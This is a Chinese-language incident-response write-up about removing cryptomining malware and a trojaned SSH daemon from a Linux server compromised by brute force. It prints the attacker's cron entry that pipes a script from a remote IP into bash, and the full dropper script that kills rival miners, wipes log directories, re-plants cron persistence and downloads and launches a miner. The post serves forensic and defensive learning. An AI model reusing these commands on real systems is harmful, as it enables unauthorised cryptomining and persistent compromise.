概述：
9.4號臨時接到通知讓一個人去應急，第一次應急，比較虛，到客戶那里了解了一下情況。主要現象是流量異常，CPU占用過高。
發現連接數超多-17779，然后在試圖連接其他主機的22端口
發現異常進程，當初進行殺死之后，從九點到晚上十點cpu都是正常的，然后上午通過查看日志last，lastb，cat /etc/passwd等未找到實際的病毒等。
但發現是9.1號18.38分通過遠程暴力破解成功后進行種植定時任務，種植病毒進行遠程挖礦。
安裝計划任務
上午查看cat /etc/crontab 發現有個gcc.sh腳本，
*/3 * * * * root /etc/cron.hourly/gcc.sh
當時以前只是C的環境所需要的，因為經驗不足，下午才意識到打開查看
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
網上進行查詢該腳本信息，居然發現13年有同樣案例，然后按照案例進行執行，到最終刪除腳本
刪除腳本時每刪除一次，就會再生另一個名稱的腳本
采用chattr與lsattr使用來限制目錄修改權限
腳本內容
#!/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin cp "/bin/noguzgti" "/bin/zjtrxnfwyt" "/bin/zjtrxnfwyt"
病毒一排查殺除
1.使用 top 查看病毒為mtyxkeaofa，id 為 16621，不要直接殺掉程序，否則會再生，而是停止其運作。
[root@deyu ~]# kill -STOP 16621
2.刪除 /etc/init.d 內的檔案。
[root@deyu ~]# find /etc -name '*mtyxkeaofa*' | xargs rm -f
3.刪除 /usr/bin 內的檔案。
[root@deyu ~]# rm -f /usr/bin/mtyxkeaofa
4.查看 /usr/bin 最近變動的文件，如果是病毒也一並刪除，其他可疑的目錄也一樣。
[root@deyu ~]# ls -lt /usr/bin | head
5.現在殺掉病毒程序，就不會再生。
[root@deyu ~]# pkill mtyxkeaofa
6.刪除病毒本體。
[root@deyu ~]# rm -f /lib/libudev.so、
以上是刪除的第一個病毒。
2.再次排查
后來經過chkrootkit，rkhunter --check進行查殺，對waring進行記錄
[14:47:59] Warning: The command '/usr/bin/GET' has been replaced by a script: /usr/bin/GET: a /usr/bin/perl -w script text executable
[14:48:00] Warning: The command '/usr/bin/ldd' has been replaced by a script: /usr/bin/ldd: Bourne-Again shell script text executable
[14:48:01] /usr/bin/ssh [ Warning ]
[14:48:01] Warning: File '/usr/bin/ssh' has the immutable-bit set.
[14:48:02] Warning: The command '/usr/bin/whatis' has been replaced by a script: /usr/bin/whatis: POSIX shell script text executable
[14:48:07] Warning: The command '/sbin/ifdown' has been replaced by a script: /sbin/ifdown: Bourne-Again s
hell script text executable
[14:48:07] Warning: The command '/sbin/ifup' has been replaced by a script: /sbin/ifup: Bourne-Again shell script text executable
[14:49:17] Checking for string '/usr/include/openssl' [ Warning ]
[14:49:25] Checking for string 'backdoor.h' [ Warning ]
[14:49:25] Checking for string 'backdoor_active' [ Warning ]
Warning: Checking for possible rootkit strings [ Warning ]
[14:49:26] Found string 'backdoor.h' in file '/usr/sbin/sshd'. Possible rootkit: Trojaned SSH daemon
[14:49:26] Found string 'backdoor_active' in file '/usr/sbin/sshd'. Possible rootkit: Trojaned SSH daemon
[14:49:26] Found string '/usr/include/openssl' in file '/usr/sbin/sshd'. Possible rootkit: Trojaned SSH daemon
[14:49:26] Found string 'backdoor.h' in file '/usr/bin/ssh'. Possible rootkit: Trojaned SSH daemon
[14:49:26] Found string 'backdoor_active' in file '/usr/bin/ssh'. Possible rootkit: Trojaned SSH daemon
[14:49:26]
[14:49:26] Info: Starting test name 'malware'
[14:49:26] Performing malware checks
[14:49:26]
[14:49:26] Info: Test 'deleted_files' disabled at users request.
[14:49:26]
[14:49:26] Info: Starting test name 'running_procs'
[14:49:28] Checking running processes for suspicious files [ None found ]
Info: Rkhunter option ALLOW_SSH_ROOT_USER set to 'no'.
[14:49:46] Info: Rkhunter option ALLOW_SSH_PROT_V1 set to '0'.
[14:49:46] Checking if SSH root access is allowed [ Warning ]
[14:49:46] Warning: The SSH configuration option 'PermitRootLogin' has not been set.
The default value may be 'yes', to allow root access.
[14:49:46] Checking if SSH protocol v1 is allowed [ Warning ]
Info: Starting test name 'system_configs_syslog'
[14:49:46] Checking for a running system logging daemon [ Found ]
[14:49:46] Info: A running 'rsyslog' daemon has been found.
[14:49:46] Info: Found an rsyslog configuration file: /etc/rsyslog.conf
[14:49:46] Checking for a system logging configuration file [ Found ]
[14:49:46] Checking if syslog remote logging is allowed [ Not allowed ]
[14:49:46] Info: SCAN_MODE_DEV set to 'THOROUGH'
[14:49:50] Checking /dev for suspicious file types [ Warning ]
[14:49:51] Checking for hidden files and directories [ Warning ]
[14:49:51] Warning: Hidden directory found: /dev/.mdadm
[14:49:51] Warning: Hidden directory found: /dev/.udev
[14:49:51] Warning: Hidden file found: /usr/share/man/man1/..1.gz: gzip compressed data, from Unix, max compression
[14:49:51] Warning: Hidden file found: /usr/share/man/man5/.k5identity.5.gz: gzip compressed data, from Unix, max compression
[14:49:51] Warning: Hidden file found: /usr/share/man/man5/.k5login.5.gz: gzip compressed data, from Unix, max compression
[14:49:52] Warning: Hidden file found: /usr/bin/.fipscheck.hmac: ASCII text
[14:49:52] Warning: Hidden file found: /usr/bin/.ssh.hmac: ASCII text
[14:49:52] Warning: Hidden file found: /usr/sbin/.sshd.hmac: ASCII text
對有問題的文件進行拷貝下來，上傳到https://www.virustotal.com/進行查殺，發現ssh被替換為后門，然后通知客戶進行ssh卸載
至此ssh后門清除，以及/bin目錄下很多DDOS留下的殘余文件清除！
3.病毒3排查
另外發現執行的異常進程文件
#!/bin/sh # chkconfig: 12345 90 90 # description: tilmtcfhca ### BEGIN INIT INFO # Provides: tilmtcfhca # Required-Start: # Required-Stop: # Default-Start: 1 2 3 4 5 # Default-Stop: # Short-Description: tilmtcfhca ### END INIT INFO case $1 in start) /usr/bin/tilmtcfhca ;; stop) ;; *) /usr/bin/tilmtcfhca ;; esac
原本以為這樣就結束了，差不多可以了，本來我也沒有處理經驗，然后cpu正常，但是沒有太關注連接數。
第三天發現又有異常進程在運行，CPU占用百分之百啊，請教同事后crontab -e 查看定時任務
（系統級的）做系統級配置會直接配置 /etc/crontab
修改/etc/crontab只有root用戶能用，更加方便與直接直接給其他用戶設置計划任務，而且還可以指定執行shell等等，
（用戶級）某用戶可以自行配置 crontab -e所有用戶都可以使用，普通用戶也只能為自己設置計划任務。然后自動寫入/var/spool/cron/usename
發現有一定時任務，
"* * * * * curl -s http://23.94.196.251/log7.jpg | bash -s"
訪問下載一站點圖片，圖片其實是一個bash腳本
#!/bin/sh
pkill -f suppoie
pkill -f cnrig
pkill -f .xm.log
pkill -f xmrig64
ps aux | grep -vw sshd64 | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
rm -fr /usr/log
rm -fr /var/log/log
rm -fr /var/log/pr
mkdir /usr/log
ps -fe|grep -w sshd64 |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://23.94.196.251/log7.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /usr/log/config.json http://23.94.196.251/c.jason
curl -o /usr/log/sshd64 http://23.94.196.251/sshd64
chmod 777 /usr/log/sshd64
chmod 777 /usr/log/config.json
cd /usr/log
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sshd64 -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "Runing....."
並且在大佬的協助下pstree 查看進程樹
殺死殘余進程，然后之后sshd卸載，過了兩天觀察情況，一切正常運行，進行了ssh重裝，端口修改為非默認，減少了一定暴力猜解口令的攻擊，並限制內網訪問，自此一次應急基本結束